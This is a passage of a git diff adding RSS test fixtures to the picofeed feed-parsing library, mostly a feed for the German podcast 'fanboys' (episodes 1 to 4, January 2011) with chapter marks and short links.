target="_blank">phantomjs</td></tr><tr><td>00:41:41</td><td><a href="http://kre.is/4FyO" target="_blank">raphaëljs</td></tr><tr><td>00:44:28</td><td><a href="http://kre.is/4GpK" target="_blank">Dead Space iOS</td></tr><tr><td>00:53:00</td><td><a href="http://kre.is/4Gd0" target="_blank">Tron</td></tr><tr><td>00:54:21</td><td><a href="http://kre.is/4Gtg" target="_blank">Tron: Legacy</td></tr><tr><td>01:01:56</td><td><a href="http://kre.is/4GqA" target="_blank">Tron: Evolution</td></tr><tr><td>01:04:05</td><td><a href="http://kre.is/4Ge6" target="_blank">Leuchtende Klamotten</td></tr><tr><td>01:06:23</td><td><a href="http://kre.is/4FuZ" target="_blank">Elementarfragen: Software Entwicklung</td></tr><tr><td>01:07:35</td><td><a href="http://kre.is/4GDR" target="_blank">flattr Link der Woche</td></tr><tr><td>01:08:24</td><td>Rausschmeisser</td></tr><tr><td>01:09:52</td><td><a href="http://kre.is/4Fx6" target="_blank">midimachine - Tron Legacy (8-bit)</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://kre.is/3u0q" />
+ <sc:chapter start="00:00:10" title="Und Martin" href="http://kre.is/3tXk" />
+ <sc:chapter start="00:00:47" title="Oftmals-falsch-Martin" />
+ <sc:chapter start="00:01:30" title="3DS Augmented Reality" href="http://kre.is/4G5U" />
+ <sc:chapter start="00:04:05" title="3DS Datum" href="http://kre.is/4G5U" />
+ <sc:chapter start="00:04:36" title="Sony NGP Pressekonferenz" />
+ <sc:chapter start="00:17:37" title="Android Marketplace für PS1 Spiele" />
+ <sc:chapter start="00:21:24" title="Sony vs. Hotzelschorsch, Teil 2" />
+ <sc:chapter start="00:23:24" title="Projekt INDECT" href="http://kre.is/4FnW" />
+ <sc:chapter start="00:25:38" title="3sat über INDECT" href="http://kre.is/4FqX" />
+ <sc:chapter start="00:26:50" title="Stopp INDECT" href="http://kre.is/4GLq" />
+ <sc:chapter start="00:27:52" title="27C3: INDECT - an EU-Surveillance Project" href="http://kre.is/4GFK" />
+ <sc:chapter start="00:28:14" title="Ägypten macht das Internet aus" href="http://kre.is/4GSQ" />
+ <sc:chapter start="00:34:43" title="Core Intuition" href="http://kre.is/4FlE" />
+ <sc:chapter start="00:38:57" title="phantomjs" href="http://kre.is/4GcQ" />
+ <sc:chapter start="00:41:41" title="raphaëljs" href="http://kre.is/4FyO" />
+ <sc:chapter start="00:44:28" title="Dead Space iOS" href="http://kre.is/4GpK" />
+ <sc:chapter start="00:53:00" title="Tron" href="http://kre.is/4Gd0" />
+ <sc:chapter start="00:54:21" title="Tron: Legacy" href="http://kre.is/4Gtg" />
+ <sc:chapter start="01:01:56" title="Tron: Evolution" href="http://kre.is/4GqA" />
+ <sc:chapter start="01:04:05" title="Leuchtende Klamotten" href="http://kre.is/4Ge6" />
+ <sc:chapter start="01:06:23" title="Elementarfragen: Software Entwicklung" href="http://kre.is/4FuZ" />
+ <sc:chapter start="01:07:35" title="flattr Link der Woche" href="http://kre.is/4GDR" />
+ <sc:chapter start="01:08:24" title="Rausschmeisser" />
+ <sc:chapter start="01:09:52" title="midimachine - Tron Legacy (8-bit)" href="http://kre.is/4Fx6" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#4:" />
+ </item>
+ <item>
+ <title>Episode #3 - The Germany is doing itself away</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>The Germany is doing itself away</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN003.mp3" length="34498688" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN003</guid>
+ <pubDate>Fri, 21 Jan 2011 20:03:37 +0100</pubDate>
+ <itunes:duration>01:11:52</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:12 Und Martin
+00:01:02 Errata
+00:01:58 iPad 2
+00:02:46 "Retina" Displays
+00:04:28 Gleiche Auflösung?
+00:08:49 Seltsame Reutersmeldung
+00:11:01 Apple Quartalszahlen
+00:13:48 10 "BILLLION" Apps
+00:14:19 Telekom erlaubt persönliches Hotspotten
+00:15:43 Spass mit der Telekom
+00:17:43 Führungswechsel bei Google
+00:18:56 … und bei Apple.
+00:20:59 VDS Light
+00:29:14 ZugerschwG Debatte
+00:32:44 Nintendo 3DS ab 25.03
+00:44:01 deTune
+00:46:42 flattr Link der Woche
+00:47:57 1337motiv
+00:51:04 Immersion
+00:55:38 Gangstarap aus dem bayerischen Innenministerium
+00:56:01 Stuckrad Late Night
+01:04:00 Breaking Bad
+01:09:27 BBC - World Have Your Say - Thilo Sarrazin live in Berlin
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://kre.is/3u0q" target="_blank">Mit Dominik</td></tr><tr><td>00:00:12</td><td><a href="http://kre.is/3tXk" target="_blank">Und Martin</td></tr><tr><td>00:01:02</td><td>Errata</td></tr><tr><td>00:01:58</td><td><a href="http://kre.is/48Cx" target="_blank">iPad 2</td></tr><tr><td>00:02:46</td><td>"Retina" Displays</td></tr><tr><td>00:04:28</td><td>Gleiche Auflösung?</td></tr><tr><td>00:08:49</td><td><a href="http://kre.is/481j" target="_blank">Seltsame Reutersmeldung</td></tr><tr><td>00:11:01</td><td><a href="http://kre.is/48NZ" target="_blank">Apple Quartalszahlen</td></tr><tr><td>00:13:48</td><td><a href="http://kre.is/48GM" target="_blank">10 "BILLLION" Apps</td></tr><tr><td>00:14:19</td><td><a href="http://kre.is/484J" target="_blank">Telekom erlaubt persönliches Hotspotten</td></tr><tr><td>00:15:43</td><td>Spass mit der Telekom</td></tr><tr><td>00:17:43</td><td><a href="http://kre.is/48Ck" target="_blank">Führungswechsel bei Google</td></tr><tr><td>00:18:56</td><td>… und bei Apple.</td></tr><tr><td>00:20:59</td><td><a href="http://kre.is/48T6" target="_blank">VDS Light</td></tr><tr><td>00:29:14</td><td>ZugerschwG Debatte</td></tr><tr><td>00:32:44</td><td>Nintendo 3DS ab 25.03</td></tr><tr><td>00:44:01</td><td><a href="http://kre.is/48MD" target="_blank">deTune</td></tr><tr><td>00:46:42</td><td><a href="http://kre.is/47uq" target="_blank">flattr Link der Woche</td></tr><tr><td>00:47:57</td><td><a href="http://kre.is/47xe" target="_blank">1337motiv</td></tr><tr><td>00:51:04</td><td><a href="http://kre.is/48Ob" target="_blank">Immersion</td></tr><tr><td>00:55:38</td><td><a href="http://kre.is/48WD" target="_blank">Gangstarap aus dem bayerischen Innenministerium</td></tr><tr><td>00:56:01</td><td><a href="http://kre.is/485P" target="_blank">Stuckrad Late Night</td></tr><tr><td>01:04:00</td><td><a href="http://kre.is/47tE" target="_blank">Breaking Bad</td></tr><tr><td>01:09:27</td><td><a href="http://kre.is/48HO" target="_blank">BBC - World Have Your Say - Thilo Sarrazin live in Berlin</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://kre.is/3u0q" />
+ <sc:chapter start="00:00:12" title="Und Martin" href="http://kre.is/3tXk" />
+ <sc:chapter start="00:01:02" title="Errata" />
+ <sc:chapter start="00:01:58" title="iPad 2" href="http://kre.is/48Cx" />
+ <sc:chapter start="00:02:46" title="&amp;quot;Retina&amp;quot; Displays" />
+ <sc:chapter start="00:04:28" title="Gleiche Auflösung?" />
+ <sc:chapter start="00:08:49" title="Seltsame Reutersmeldung" href="http://kre.is/481j" />
+ <sc:chapter start="00:11:01" title="Apple Quartalszahlen" href="http://kre.is/48NZ" />
+ <sc:chapter start="00:13:48" title="10 &amp;quot;BILLLION&amp;quot; Apps" href="http://kre.is/48GM" />
+ <sc:chapter start="00:14:19" title="Telekom erlaubt persönliches Hotspotten" href="http://kre.is/484J" />
+ <sc:chapter start="00:15:43" title="Spass mit der Telekom" />
+ <sc:chapter start="00:17:43" title="Führungswechsel bei Google" href="http://kre.is/48Ck" />
+ <sc:chapter start="00:18:56" title="… und bei Apple." />
+ <sc:chapter start="00:20:59" title="VDS Light" href="http://kre.is/48T6" />
+ <sc:chapter start="00:29:14" title="ZugerschwG Debatte" />
+ <sc:chapter start="00:32:44" title="Nintendo 3DS ab 25.03" />
+ <sc:chapter start="00:44:01" title="deTune" href="http://kre.is/48MD" />
+ <sc:chapter start="00:46:42" title="flattr Link der Woche" href="http://kre.is/47uq" />
+ <sc:chapter start="00:47:57" title="1337motiv" href="http://kre.is/47xe" />
+ <sc:chapter start="00:51:04" title="Immersion" href="http://kre.is/48Ob" />
+ <sc:chapter start="00:55:38" title="Gangstarap aus dem bayerischen Innenministerium" href="http://kre.is/48WD" />
+ <sc:chapter start="00:56:01" title="Stuckrad Late Night" href="http://kre.is/485P" />
+ <sc:chapter start="01:04:00" title="Breaking Bad" href="http://kre.is/47tE" />
+ <sc:chapter start="01:09:27" title="BBC - World Have Your Say - Thilo Sarrazin live in Berlin" href="http://kre.is/48HO" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#3:" />
+ </item>
+ <item>
+ <title>Episode #2 - Xeroxisierung</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Xeroxisierung</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN002.mp3" length="63967360" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN002</guid>
+ <pubDate>Fri, 14 Jan 2011 21:36:07 +0100</pubDate>
+ <itunes:duration>02:13:15</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:12 Und Martin
+00:00:29 Errata
+00:01:57 BTTF Making Of
+00:02:30 JPod
+00:03:03 Kommentarmöglichkeiten
+00:04:39 Chromeschmerzen
+00:06:25 Flattrlink der Woche
+00:07:50 Mac App Store - Eine Woche später
+00:08:18 Updates
+00:12:44 Mac UIKit Layer
+00:13:52 Angry Bird Crack
+00:17:58 Preise im Mac App Store
+00:19:26 SUID Problematik
+00:21:04 Firenze.app und porco.apple.com
+00:22:57 TBBT und iPhone Entwicklung
+00:24:11 supportprofile.apple.com
+00:26:54 Attentat auf Gabrielle Giffords
+00:36:22 Digitaler Radiergummi
+00:42:09 Dom war bei Hagen Rether
+00:44:46 Hadopi - Phase 2
+00:51:31 PS3 News: Sony klagt, Geohot customfirmwaret
+00:57:21 Chrome kündigt an h264 Unterstützung zu entfernen
+01:03:56 Youtube Account Zwangsverlinkung
+01:08:33 CES News
+01:08:37 LoadingReadyRun: CEX
+01:09:01 Tabletdinger
+01:10:43 Microsoft Surface wird besser
+01:14:23 iPad 2
+01:18:43 iPhone 4 bei Verizon
+01:22:43 Personal Hotspot in iOS 4.3
+01:24:22 Personal Hotspot mit deutschen Providern
+01:25:39 iPad an iPhone tethern
+01:26:13 iOS 4.3 iPad Multitasking Gesten
+01:29:32 App ist Wort des Jahres
+01:30:59 App Store Markendiskussion
+01:32:05 Nützlichstes Wort 2010
+01:32:31 Nom Nom Katze
+01:32:48 Know Your Meme
+01:33:30 Capcom klaut Spielidee
+01:37:20 IBM Watson spielt Jeopardy
+01:51:55 Pogo's World Remix
+01:52:40 Alice YooouuuTuuubed
+01:53:39 Pogo's Youtube Channel
+01:54:52 Joburg Jam
+01:57:14 Dawsons Creek
+01:57:39 Pacey-Con
+01:58:33 James van der Memes
+02:00:05 van der Memes - Behind the Scenes
+02:00:42 Aralon: Sword and Shadow HD
+02:05:07 Misfits
+02:12:04 Unsere Freunde von der CSU
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table id="chaptermarks"><tbody><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a target="_blank" href="http://kre.is/3u0q">Mit Dominik</a></td></tr><tr><td>00:00:12</td><td><a target="_blank" href="http://kre.is/3tXk">Und Martin</a></td></tr><tr><td>00:00:29</td><td>Errata</td></tr><tr><td>00:01:57</td><td><a target="_blank" href="http://kre.is/41Qz">BTTF Making Of</a></td></tr><tr><td>00:02:30</td><td><a target="_blank" href="http://kre.is/41d4">JPod</a></td></tr><tr><td>00:03:03</td><td>Kommentarmöglichkeiten</td></tr><tr><td>00:04:39</td><td>Chromeschmerzen</td></tr><tr><td>00:06:25</td><td><a target="_blank" href="http://kre.is/41I7">Flattrlink der Woche</a></td></tr><tr><td>00:07:50</td><td>Mac App Store - Eine Woche später</td></tr><tr><td>00:08:18</td><td>Updates</td></tr><tr><td>00:12:44</td><td>Mac UIKit Layer</td></tr><tr><td>00:13:52</td><td><a target="_blank" href="http://kre.is/41YX">Angry Bird Crack</a></td></tr><tr><td>00:17:58</td><td>Preise im Mac App Store</td></tr><tr><td>00:19:26</td><td>SUID Problematik</td></tr><tr><td>00:21:04</td><td>Firenze.app und porco.apple.com</td></tr><tr><td>00:22:57</td><td><a target="_blank" href="http://kre.is/41MA">TBBT und iPhone Entwicklung</a></td></tr><tr><td>00:24:11</td><td><a target="_blank" href="http://supportprofile.apple.com">supportprofile.apple.com</a></td></tr><tr><td>00:26:54</td><td>Attentat auf Gabrielle Giffords</td></tr><tr><td>00:36:22</td><td><a target="_blank" href="http://kre.is/41uP">Digitaler Radiergummi</a></td></tr><tr><td>00:42:09</td><td><a target="_blank" href="http://kre.is/41UT">Dom war bei Hagen Rether</a></td></tr><tr><td>00:44:46</td><td><a target="_blank" href="http://kre.is/3zfG">Hadopi - Phase 2</a></td></tr><tr><td>00:51:31</td><td>PS3 News: Sony klagt, Geohot customfirmwaret</td></tr><tr><td>00:57:21</td><td>Chrome kündigt an h264 Unterstützung zu entfernen</td></tr><tr><td>01:03:56</td><td><a target="_blank" href="http://kre.is/41iL">Youtube Account Zwangsverlinkung</a></td></tr><tr><td>01:08:33</td><td>CES News</td></tr><tr><td>01:08:37</td><td><a target="_blank" href="http://kre.is/41bM">LoadingReadyRun: CEX</a></td></tr><tr><td>01:09:01</td><td>Tabletdinger</td></tr><tr><td>01:10:43</td><td><a target="_blank" href="http://kre.is/41eo">Microsoft Surface wird besser</a></td></tr><tr><td>01:14:23</td><td><a target="_blank" href="http://kre.is/41TY">iPad 2</a></td></tr><tr><td>01:18:43</td><td>iPhone 4 bei Verizon</td></tr><tr><td>01:22:43</td><td><a target="_blank" href="http://kre.is/41nZ">Personal Hotspot in iOS 4.3</a></td></tr><tr><td>01:24:22</td><td><a target="_blank" href="http://kre.is/41FM">Personal Hotspot mit deutschen Providern</a></td></tr><tr><td>01:25:39</td><td>iPad an iPhone tethern</td></tr><tr><td>01:26:13</td><td>iOS 4.3 iPad Multitasking Gesten</td></tr><tr><td>01:29:32</td><td><a target="_blank" href="http://kre.is/41QC">App ist Wort des Jahres</a></td></tr><tr><td>01:30:59</td><td>App Store Markendiskussion</td></tr><tr><td>01:32:05</td><td>Nützlichstes Wort 2010</td></tr><tr><td>01:32:31</td><td><a target="_blank" href="http://kre.is/41YF">Nom Nom Katze</a></td></tr><tr><td>01:32:48</td><td><a target="_blank" href="http://kre.is/41GW">Know Your Meme</a></td></tr><tr><td>01:33:30</td><td><a target="_blank" href="http://kre.is/41Ga">Capcom klaut Spielidee</a></td></tr><tr><td>01:37:20</td><td><a target="_blank" href="http://kre.is/41pY">IBM Watson spielt Jeopardy</a></td></tr><tr><td>01:51:55</td><td><a target="_blank" href="http://kre.is/41bn">Pogo's World Remix</a></td></tr><tr><td>01:52:40</td><td><a target="_blank" href="http://kre.is/41MG">Alice YooouuuTuuubed</a></td></tr><tr><td>01:53:39</td><td><a target="_blank" href="http://kre.is/41XA">Pogo's Youtube Channel</a></td></tr><tr><td>01:54:52</td><td><a target="_blank" href="http://kre.is/41mm">Joburg Jam</a></td></tr><tr><td>01:57:14</td><td><a target="_blank" href="http://kre.is/41j3">Dawsons Creek</a></td></tr><tr><td>01:57:39</td><td><a target="_blank" href="http://kre.is/41lF">Pacey-Con</a></td></tr><tr><td>01:58:33</td><td><a target="_blank" href="http://kre.is/41cx">James van der Memes</a></td></tr><tr><td>02:00:05</td><td><a target="_blank" href="http://kre.is/41QJ">van der Memes - Behind the Scenes</a></td></tr><tr><td>02:00:42</td><td><a target="_blank" href="http://kre.is/41db">Aralon: Sword and Shadow HD</a></td></tr><tr><td>02:05:07</td><td><a target="_blank" href="http://kre.is/41qI">Misfits</a></td></tr><tr><td>02:12:04</td><td><a target="_blank" href="http://kre.is/41T2">Unsere Freunde von der CSU</a></td></tr></tbody></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://kre.is/3u0q" />
+ <sc:chapter start="00:00:12" title="Und Martin" href="http://kre.is/3tXk" />
+ <sc:chapter start="00:00:29" title="Errata" />
+ <sc:chapter start="00:01:57" title="BTTF Making Of" href="http://kre.is/41Qz" />
+ <sc:chapter start="00:02:30" title="JPod" href="http://kre.is/41d4" />
+ <sc:chapter start="00:03:03" title="Kommentarmöglichkeiten" />
+ <sc:chapter start="00:04:39" title="Chromeschmerzen" />
+ <sc:chapter start="00:06:25" title="Flattrlink der Woche" href="http://kre.is/41I7" />
+ <sc:chapter start="00:07:50" title="Mac App Store - Eine Woche später" />
+ <sc:chapter start="00:08:18" title="Updates" />
+ <sc:chapter start="00:12:44" title="Mac UIKit Layer" />
+ <sc:chapter start="00:13:52" title="Angry Bird Crack" href="http://kre.is/41YX" />
+ <sc:chapter start="00:17:58" title="Preise im Mac App Store" />
+ <sc:chapter start="00:19:26" title="SUID Problematik" />
+ <sc:chapter start="00:21:04" title="Firenze.app und porco.apple.com" />
+ <sc:chapter start="00:22:57" title="TBBT und iPhone Entwicklung" href="http://kre.is/41MA" />
+ <sc:chapter start="00:24:11" title="supportprofile.apple.com" href="http://supportprofile.apple.com" />
+ <sc:chapter start="00:26:54" title="Attentat auf Gabrielle Giffords" />
+ <sc:chapter start="00:36:22" title="Digitaler Radiergummi" href="http://kre.is/41uP" />
+ <sc:chapter start="00:42:09" title="Dom war bei Hagen Rether" href="http://kre.is/41UT" />
+ <sc:chapter start="00:44:46" title="Hadopi - Phase 2" href="http://kre.is/3zfG" />
+ <sc:chapter start="00:51:31" title="PS3 News: Sony klagt, Geohot customfirmwaret" />
+ <sc:chapter start="00:57:21" title="Chrome kündigt an h264 Unterstützung zu entfernen" />
+ <sc:chapter start="01:03:56" title="Youtube Account Zwangsverlinkung" href="http://kre.is/41iL" />
+ <sc:chapter start="01:08:33" title="CES News" />
+ <sc:chapter start="01:08:37" title="LoadingReadyRun: CEX" href="http://kre.is/41bM" />
+ <sc:chapter start="01:09:01" title="Tabletdinger" />
+ <sc:chapter start="01:10:43" title="Microsoft Surface wird besser" href="http://kre.is/41eo" />
+ <sc:chapter start="01:14:23" title="iPad 2" href="http://kre.is/41TY" />
+ <sc:chapter start="01:18:43" title="iPhone 4 bei Verizon" />
+ <sc:chapter start="01:22:43" title="Personal Hotspot in iOS 4.3" href="http://kre.is/41nZ" />
+ <sc:chapter start="01:24:22" title="Personal Hotspot mit deutschen Providern" href="http://kre.is/41FM" />
+ <sc:chapter start="01:25:39" title="iPad an iPhone tethern" />
+ <sc:chapter start="01:26:13" title="iOS 4.3 iPad Multitasking Gesten" />
+ <sc:chapter start="01:29:32" title="App ist Wort des Jahres" href="http://kre.is/41QC" />
+ <sc:chapter start="01:30:59" title="App Store Markendiskussion" />
+ <sc:chapter start="01:32:05" title="Nützlichstes Wort 2010" />
+ <sc:chapter start="01:32:31" title="Nom Nom Katze" href="http://kre.is/41YF" />
+ <sc:chapter start="01:32:48" title="Know Your Meme" href="http://kre.is/41GW" />
+ <sc:chapter start="01:33:30" title="Capcom klaut Spielidee" href="http://kre.is/41Ga" />
+ <sc:chapter start="01:37:20" title="IBM Watson spielt Jeopardy" href="http://kre.is/41pY" />
+ <sc:chapter start="01:51:55" title="Pogo's World Remix" href="http://kre.is/41bn" />
+ <sc:chapter start="01:52:40" title="Alice YooouuuTuuubed" href="http://kre.is/41MG" />
+ <sc:chapter start="01:53:39" title="Pogo's Youtube Channel" href="http://kre.is/41XA" />
+ <sc:chapter start="01:54:52" title="Joburg Jam" href="http://kre.is/41mm" />
+ <sc:chapter start="01:57:14" title="Dawsons Creek" href="http://kre.is/41j3" />
+ <sc:chapter start="01:57:39" title="Pacey-Con" href="http://kre.is/41lF" />
+ <sc:chapter start="01:58:33" title="James van der Memes" href="http://kre.is/41cx" />
+ <sc:chapter start="02:00:05" title="van der Memes - Behind the Scenes" href="http://kre.is/41QJ" />
+ <sc:chapter start="02:00:42" title="Aralon: Sword and Shadow HD" href="http://kre.is/41db" />
+ <sc:chapter start="02:05:07" title="Misfits" href="http://kre.is/41qI" />
+ <sc:chapter start="02:12:04" title="Unsere Freunde von der CSU" href="http://kre.is/41T2" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#2:" />
+ </item>
+ <item>
+ <title>Episode #1 - Man sieht nur mit den Ohren gut</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Man sieht nur mit den Ohren gut</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN001.mp3" length="40251140" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN001</guid>
+ <pubDate>Fri, 07 Jan 2011 11:01:42 +0100</pubDate>
+ <itunes:duration>01:23:51</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:21 Mit Dominik
+00:00:23 Und Martin
+00:00:25 Was soll denn der Schmarrn?
+00:02:15 27c3 Retrospektive
+00:03:54 Was ist denn der Congress?
+00:08:11 Adventures in analyzing Stuxnet
+00:13:54 Alternativlos zu Stuxnet
+00:14:32 The Concert
+00:18:12 A short political history of acoustics
+00:19:54 Console Hacking 2010
+00:26:53 Ich sehe nicht dass wir zustimmen werden
+00:29:58 maha blog
+00:30:06 OMG WTF PDF
+00:32:27 Reverse Engineering the MOS 6502 CPU
+00:36:34 Three jobs journalists will do in 2050
+00:38:28 Adventures in Mapping Afghanistan Elections
+00:41:35 The importance of resisting Excessive Government Surveillance
+00:44:54 Chip and PIN is Broken
+00:48:37 OpenLase
+00:50:27 27c3 Recordings
+00:51:14 The Return of the kaputter Wecker
+00:54:59 The Glif
+00:59:05 Mac App Store
+01:00:42 The Incident (for Mac)
+01:02:20 Twitter for Mac
+01:02:49 Fehler 100
+01:03:49 Ungarische Depression
+01:06:56 Back to the Future
+01:11:37 Game Dev Story
+01:14:46 Continuity
+01:17:03 The Second Coming
+01:17:25 The Day of the Triffids
+01:22:30 Schluss
+
+
+
+(cc-by-nc-sa) 2010]]></itunes:summary>
+ <description><![CDATA[<table id="chaptermarks"><tbody><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:21</td><td><a target="_blank" href="http://kre.is/3u0q">Mit Dominik</a></td></tr><tr><td>00:00:23</td><td><a target="_blank" href="http://kre.is/3tXk">Und Martin</a></td></tr><tr><td>00:00:25</td><td>Was soll denn der Schmarrn?</td></tr><tr><td>00:02:15</td><td>27c3 Retrospektive</td></tr><tr><td>00:03:54</td><td>Was ist denn der Congress?</td></tr><tr><td>00:08:11</td><td><a target="_blank" href="http://kre.is/3tyU">Adventures in analyzing Stuxnet</a></td></tr><tr><td>00:13:54</td><td><a target="_blank" href="http://alternativlos.org/5/">Alternativlos zu Stuxnet</a></td></tr><tr><td>00:14:32</td><td><a target="_blank" href="http://kre.is/3th2">The Concert</a></td></tr><tr><td>00:18:12</td><td><a target="_blank" href="http://kre.is/3tX5">A short political history of acoustics</a></td></tr><tr><td>00:19:54</td><td><a target="_blank" href="http://kre.is/3uAK">Console Hacking 2010</a></td></tr><tr><td>00:26:53</td><td><a target="_blank" href="http://kre.is/3to4">Ich sehe nicht dass wir zustimmen werden</a></td></tr><tr><td>00:29:58</td><td><a target="_blank" href="http://kre.is/3u4t">maha blog</a></td></tr><tr><td>00:30:06</td><td><a target="_blank" href="http://kre.is/3u1I">OMG WTF PDF</a></td></tr><tr><td>00:32:27</td><td><a target="_blank" href="http://kre.is/3tc4">Reverse Engineering the MOS 6502 CPU</a></td></tr><tr><td>00:36:34</td><td><a target="_blank" href="http://kre.is/3u6A">Three jobs journalists will do in 2050</a></td></tr><tr><td>00:38:28</td><td><a target="_blank" href="http://kre.is/3tlZ">Adventures in Mapping Afghanistan Elections</a></td></tr><tr><td>00:41:35</td><td><a target="_blank" href="http://kre.is/3txk">The importance of resisting Excessive Government Surveillance</a></td></tr><tr><td>00:44:54</td><td><a target="_blank" href="http://kre.is/3tup">Chip and PIN is Broken</a></td></tr><tr><td>00:48:37</td><td><a target="_blank" href="http://kre.is/3teZ">OpenLase</a></td></tr><tr><td>00:50:27</td><td><a target="_blank" href="http://kre.is/3tWm">27c3 Recordings</a></td></tr><tr><td>00:51:14</td><td><a target="_blank" href="http://kre.is/3tby">The Return of the kaputter Wecker</a></td></tr><tr><td>00:54:59</td><td><a target="_blank" href="http://kre.is/3tWb">The Glif</a></td></tr><tr><td>00:59:05</td><td>Mac App Store</td></tr><tr><td>01:00:42</td><td><a target="_blank" href="http://kre.is/3tt8">The Incident (for Mac)</a></td></tr><tr><td>01:02:20</td><td>Twitter for Mac</td></tr><tr><td>01:02:49</td><td>Fehler 100</td></tr><tr><td>01:03:49</td><td><a target="_blank" href="http://kre.is/3u2I">Ungarische Depression</a></td></tr><tr><td>01:06:56</td><td><a target="_blank" href="http://kre.is/3tyI">Back to the Future</a></td></tr><tr><td>01:11:37</td><td><a target="_blank" href="http://kre.is/3tov">Game Dev Story</a></td></tr><tr><td>01:14:46</td><td><a target="_blank" href="http://kre.is/3tg8">Continuity</a></td></tr><tr><td>01:17:03</td><td><a target="_blank" href="http://kre.is/3tfh">The Second Coming</a></td></tr><tr><td>01:17:25</td><td><a target="_blank" href="http://kre.is/3txW">The Day of the Triffids</a></td></tr><tr><td>01:22:30</td><td>Schluss</td></tr></tbody></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:21" title="Mit Dominik" href="http://kre.is/3u0q" />
+ <sc:chapter start="00:00:23" title="Und Martin" href="http://kre.is/3tXk" />
+ <sc:chapter start="00:00:25" title="Was soll denn der Schmarrn?" />
+ <sc:chapter start="00:02:15" title="27c3 Retrospektive" />
+ <sc:chapter start="00:03:54" title="Was ist denn der Congress?" />
+ <sc:chapter start="00:08:11" title="Adventures in analyzing Stuxnet" href="http://kre.is/3tyU" />
+ <sc:chapter start="00:13:54" title="Alternativlos zu Stuxnet" href="http://alternativlos.org/5/" />
+ <sc:chapter start="00:14:32" title="The Concert" href="http://kre.is/3th2" />
+ <sc:chapter start="00:18:12" title="A short political history of acoustics" href="http://kre.is/3tX5" />
+ <sc:chapter start="00:19:54" title="Console Hacking 2010" href="http://kre.is/3uAK" />
+ <sc:chapter start="00:26:53" title="Ich sehe nicht dass wir zustimmen werden" href="http://kre.is/3to4" />
+ <sc:chapter start="00:29:58" title="maha blog" href="http://kre.is/3u4t" />
+ <sc:chapter start="00:30:06" title="OMG WTF PDF" href="http://kre.is/3u1I" />
+ <sc:chapter start="00:32:27" title="Reverse Engineering the MOS 6502 CPU" href="http://kre.is/3tc4" />
+ <sc:chapter start="00:36:34" title="Three jobs journalists will do in 2050" href="http://kre.is/3u6A" />
+ <sc:chapter start="00:38:28" title="Adventures in Mapping Afghanistan Elections" href="http://kre.is/3tlZ" />
+ <sc:chapter start="00:41:35" title="The importance of resisting Excessive Government Surveillance" href="http://kre.is/3txk" />
+ <sc:chapter start="00:44:54" title="Chip and PIN is Broken" href="http://kre.is/3tup" />
+ <sc:chapter start="00:48:37" title="OpenLase" href="http://kre.is/3teZ" />
+ <sc:chapter start="00:50:27" title="27c3 Recordings" href="http://kre.is/3tWm" />
+ <sc:chapter start="00:51:14" title="The Return of the kaputter Wecker" href="http://kre.is/3tby" />
+ <sc:chapter start="00:54:59" title="The Glif" href="http://kre.is/3tWb" />
+ <sc:chapter start="00:59:05" title="Mac App Store" />
+ <sc:chapter start="01:00:42" title="The Incident (for Mac)" href="http://kre.is/3tt8" />
+ <sc:chapter start="01:02:20" title="Twitter for Mac" />
+ <sc:chapter start="01:02:49" title="Fehler 100" />
+ <sc:chapter start="01:03:49" title="Ungarische Depression" href="http://kre.is/3u2I" />
+ <sc:chapter start="01:06:56" title="Back to the Future" href="http://kre.is/3tyI" />
+ <sc:chapter start="01:11:37" title="Game Dev Story" href="http://kre.is/3tov" />
+ <sc:chapter start="01:14:46" title="Continuity" href="http://kre.is/3tg8" />
+ <sc:chapter start="01:17:03" title="The Second Coming" href="http://kre.is/3tfh" />
+ <sc:chapter start="01:17:25" title="The Day of the Triffids" href="http://kre.is/3txW" />
+ <sc:chapter start="01:22:30" title="Schluss" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#1:" />
+ </item>
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/fulltextrss.xml b/vendor/fguillot/picofeed/tests/fixtures/fulltextrss.xml
new file mode 100644
index 000000000..bae585453
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/fulltextrss.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
